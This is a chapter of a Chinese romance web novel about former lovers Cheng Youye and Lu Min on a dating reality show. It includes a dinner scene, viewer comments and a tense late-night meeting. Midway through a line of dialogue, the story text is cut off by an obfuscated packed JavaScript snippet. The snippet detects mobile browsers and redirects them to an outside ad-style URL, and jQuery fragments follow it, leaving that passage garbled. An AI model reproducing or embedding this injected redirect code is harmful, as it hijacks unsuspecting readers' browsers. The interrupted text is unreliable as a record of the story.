19. 胃痛

作品:《再追吻

    这顿饭吃得每个人都各怀心事,程幼也戳着碗里的虾仁,本着不浪费食物的原则,最终还是一个个塞进了嘴里。


    她得承认陆悯手艺确实很好,甚至有点过于好了,要不是她亲眼看见他在厨房削出一颗颗圆溜溜的土豆,她都要怀疑节目组是不是偷偷给他替换预制菜了。


    也不知道是哪位能人排除万难调教出他这样贤惠的属性,真是令她望尘莫及,想到这儿,她更没胃口了。


    和她谈恋爱的时候是大小姐,分了倒成小厨娘了。


    唐棠这时突然话头一转,硬开了一个话题:“我之前和陆悯合作过《肃杀凛冬》,不知道陆老师还有印象没有?”


    大家都不明所以时,陆悯闻言也眉头一拧,下意识看了程幼也一眼,程幼也感受到了他的目光,觉得莫名其妙,于是一边嚼着虾仁一边跟着问了一句:“有印象吗?”


    陆悯看着程幼也,摇了摇头,颇为乖巧地有问必答道:“没有。”


    明明发问的人是她,陆悯却全程看着程幼也说话,而且丝毫没有给她台阶下的意思,这叫开启这个话题的唐棠有些尴尬地打了个圆场:“只是一个小角色,陆老师没印象也正常,但是还是很感谢陆老师当时能给我出演这个角色的机会,对我很有意义。”


    这句话就有意思了,暗示她当时那个角色是陆悯给的,但是陆悯本人却不记得了。


    「什么情况?合着一枝棠是奔着陆悯来的?」


    「《肃杀凛冬》我看了三遍,我怎么没印象她演了」


    「我查演职人员表了,是开头凶案现场的那个记者,电影迟到三分钟的观众估计就错过了(捂脸笑」


    「我的妈呀,这谁能记得啊?一枝棠好歹是美妆区一姐,为了进娱乐圈掉价成这样?」


    「我觉得怪怪的,一枝棠会不会是林镞前女友啊?你们没发现她长得和程幼也有一点点像吗?」


    弹幕都发现唐棠和程幼也有三分像了,陆悯终于也有了点眉目,这个人是前两年刘常辉擅自往他身边送来的所谓“程幼也周边”之一,只不过没让他见上面而已,而且就算见上了,他现在也不会有什么印象。


    如果当时他就得知这个勾当,刘常辉两年前就该滚出尧澈了。


    程幼也更快察觉出唐棠话里有话,但她却也很好奇陆悯要怎么回答,于是放下筷子撑着下巴,添油加醋道:“陆老师再想想呢?应该还是有点印象的。”


    “我想起来了。”陆悯无奈地看了程幼也一眼,后者显然是一副看热闹不嫌事大的表情,“刘副导慧眼识珠,可惜他现在已去别处高就了,你有感谢的话下次可以亲自和他说。”


    程幼也心中暗叹,嘴也不笨嘛,说起话来一套接着一套的。


    唐棠面露难色地打了个哈哈敷衍过去,不再接话,但这番对话确实给她搏来了不小的话题度,《肃杀凛冬》两年后以这种令人哭笑不得的方式再次登上了热搜,所有人都在热门话题中看到了一支棠那珍贵的30秒镜头。


    但仅凭着在陆悯主演的电影里跑了个龙套就能被节目组邀请?恐怕没那么简单。


    饭后,程幼也主动提出承包洗碗,铂华原本要和她一起,却突然接到节目组通知,说有个急件要她去取,宋景疑已经去拿车钥匙了,铂华却在门口喊:“nomatter,你不开车送我一下?”


    “来了。”nomatter从不情不愿的宋景疑手中接过车钥匙,跟着铂华出了门。


    陆悯再看向厨房,程幼也已经和林镞又凑在了一起,两人有说有笑地把洗净的餐碟规整地摆进橱柜。


    当年喜欢他的时候,也没主动成这样。


    半途,宋景疑叫走了唐棠,等铂华再回来,就得知了唐棠因行程冲突退出节目录制的消息。


    什么冲突的行程,能来得这么是时候?


    她抱着一只雪白的布偶猫去逗程幼也,程幼也瞬时两眼放光,说话都嗲了好几分:“我们这么可爱的小猫咪叫什么名字呀?”


    nomatter摸了摸它毛茸茸的脑袋,说:“叫whatever。”


    程幼也一下子没憋住笑:“你们这一家人,整得挺洋气的。”


    “什么一家人,现在是单亲家庭。”铂华笑着把ever放去沙发上,说,“去,找你宋景疑哥哥玩儿去。”


    ever乖巧地跳到了宋景疑怀里,他抱也不是,不抱也不是,于是满脸问号地看向铂华,好像在说,你和你前男友的猫,丢给我?


    铂华却装傻充愣起来,理直气壮地说:“你陪它玩儿会儿怎么了?”


    -


    入夜,程幼也和铂华同住女生宿舍,男生那边林镞和宋景疑睡在一间,陆悯和nomatter睡在一间。


    所有摄像头关闭后,铂华在走廊的窗户前抽烟,宋景疑走到她身旁接过她指间的烟,递到唇边。


    ever蓬松的尾巴亲昵地蹭着他的小腿,铂华嗔怪道:“怎么在孩子面前抽烟。”


    宋景疑笑着睨了她一眼,把ever赶进了他和林镞的房间,然后自嘲道:“那是你和他的孩子,我是宋景疑哥哥。”


    铂华笑了一下,拉上睡衣肩带,对着大敞的窗户吹风,她问:“怎么把你的小女朋友打发走了呢?这么玩儿不起,你看我初恋来了我说什么了吗?”


    “她不是我女朋友。”宋景疑想解释,但听着初恋这两个字又格外刺耳,甚至都有点不想解释了,“他们团队给节目组发了和我恋爱的伪证,当时没想到能上,结果被选上了又舍不得放弃,只好来了。”


    铂华觉得好笑:“你那么多前女友,居然选上了个假的?”


    宋景疑心虚地反驳:“也没多少。”


    铂华无意与他争辩,于是慵懒地道了声晚安:“ever今晚和你睡。”随后踱步回房间关上了门。


    这边程幼也正在回林镞邀请她明早一起去买早餐的短信,铂华吐掉漱口水,钻进了被窝。


    她卷曲的头发扎成了一个丸子头,配上她那张小包子脸,看起来比实际年龄要小上十岁,程幼也都要自愧不如,她这几年演多了成熟的角色,反而显老了。


    “nomatter对你挺感兴趣的,要不要回头我把他微信推给你?”铂华敷着面膜,语出惊人。


    “什么玩意儿?”程幼也震撼地看向她,怀疑自己耳朵失灵,“你俩不是余情未了旧情复燃正干柴烈火呢吗?怎么拿我开涮了。”


    铂华好像对她的反应早有预料:“你见过余情未了是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090842|163653||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我俩这样的吗?余情未了是俩人面对面半天也放不出一个屁,大眼瞪小眼那样。谈了这么多年,又分了这么多年,感情早就变了。”


    这叫余情未了?程幼也突然心底颤了一下,明知故问道:“变成什么了?”


    “亲情了呗,就是那种,他本人出现在你面前,还没有你回忆当年来得心动.....所以你对他有兴趣没有?我回头把他微信推你,这样我也可以和你发展发展亲情。”铂华兴致勃勃地凑到她身旁。


    程幼也顺着枕头滑进了被窝,把头蒙上,闷声说:“一点也没有。”


    “可惜了。”铂华装模作样地叹了口气,说,“不过也是,有林镞这么个小男朋友,还要什么自行车呢?”


    关灯前,她又若有所指地说:“听姐姐一句,选爱你的能比选你爱的少吃很多苦。”


    这一晚,程幼也果然失眠了。


    实际上,这三年,她都没有真正意义上睡过一个好觉。


    半夜,她轻手轻脚地起身,从床头柜的药箱中翻出安眠药,拿着杯子下了楼。


    然而在吧台旁,她看到了一个熟悉的身影。


    她这时才注意到,男人的肩瘦薄了许多,或许和他现在正在演的那个电影角色有关,以至于整个人在黑暗中透着病态的脆弱感。


    她走到吧台前时陆悯才注意到她,他把台面上的药盒抓进了手里,却还是让她看清了“奥美拉唑”几字。


    “我去拿两粒吗丁啉给你,你吃这个不管用。”


    陆悯的胃痛是老毛病,时常会犯。


    “不用。”程幼也要走时,陆悯反拉住她的手腕,但还是为她漠然的语气伤了几分心,“你陪我说会儿话,等水烧开,我们就上去,行不行?”


    陆悯很少露出这样弱势的,带着讨好的神情,程幼也纠结了片刻,最终握紧了手中的药片,点了点头。


    陆悯好像松了一口气,松开了手,十分突兀地解释道:“唐棠是两年前尧澈选角组的负责人带进剧组的,他觉得唐棠和你有一点相似,想以此谋取一点好处。”


    程幼也有些无所谓地看着他,问:“告诉我这个干什么?”


    陆悯垂下眸子,壁灯下睫毛像夜蝶羽翼的影子:“因为你应该已经发现了,我怕你多想。”


    程幼也失笑,出言突然变得尖锐刻薄起来:“你不是会怕我多想的人。”


    陆悯只好苦笑,心中想,你看,你又让她不高兴了。


    热水壶断开了开关,陆悯拿过她的水杯,给她倒上了水,轻轻地说了句:“晚安。”


    程幼也却盯着他的脸庞一言不发。


    就在刚刚,两人中间又出现了一行字:


    【我从来都怕】


    程幼也突然觉得眼睛很累,眼前的光也越来越昏暗了。


    陆悯把水杯推到她跟前,自己吞下胶囊后准备离开,这时程幼也突然拉住了他的手。


    他有些惊愕地回过头,似是不敢相信,只见程幼也十分低沉地垂着头问他:“你当年如果那么讨厌我,为什么还要和我在一起?我没逼过你。”


    如果爱一定要有时差,那她宁可陆悯不爱她。


    如果他非得回来装模做样地说爱她,那她会很想,报复他。